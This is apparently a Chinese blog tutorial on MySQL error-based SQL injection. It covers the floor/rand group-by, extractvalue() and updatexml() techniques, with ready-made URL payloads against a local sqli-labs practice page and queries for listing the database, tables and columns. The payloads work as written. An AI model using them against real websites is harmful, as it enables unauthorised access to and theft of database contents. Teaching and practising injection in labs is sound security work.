mysql注入之报错注入

1.floor()

#取整函数floor()
floor(5.1) 返回5

#查看rand()函数返回值,*2取整永远是1个整数,在获取时去掉最后一个字符即可
select rand(0),floor(rand(0)*2)

#查看concat()连接函数
select concat(user(),floor(rand(0)*2)) 返回 root@localhost0

#构造报错语句
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

#拼接sql语句到后端

http://127.0.0.4/Less-1/index.php?id=1′ and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) –+

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
Length(user()) #返回用户名长度
select count(*) from information_schema.schemata #返回数据库数量
Length(database()) #返回数据库长度
database() #返回数据库名
select length(table_name) from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名长度
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select length(column_name) from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段长度
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

2.extractvalue()

#函数原型
#EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式
第二个参数:XPath_string (Xpath格式的字符串)

#使用方式
select extractvalue(“666“, “/html”) #返回666

#使用extractvalue报错,以16进制0x7e,就是~符号,去掉头~和尾~获取中间值
select (extractvalue(1,concat(0x7e,(select user()),0x7e)))

#构造报错语句
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

#拼接sql语句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (extractvalue(1,concat(0x7e,(select user()),0x7e))) –+

3.updatexml()

#函数原型,更新xml
#UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式
第二个参数:XPath_string
第三个参数:new_value

#与 extractvalue() 函数区别是 第三个参数替换了节点字符串,返回值是整个改变后的XML文档

#使用方式
select updatexml(“666“, “/html”,”888″) #返回888

#使用updatexml报错,以16进制0x7e,就是~符号,去掉头~和尾~获取中间值
select (updatexml(1,concat(0x7e,(select user()),0x7e),1))

#构造报错语句
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

#拼接sql语句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) –+

============================================================
还有其他的报错注入,原理都是类似的,构造报错语句报错显示信息;

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.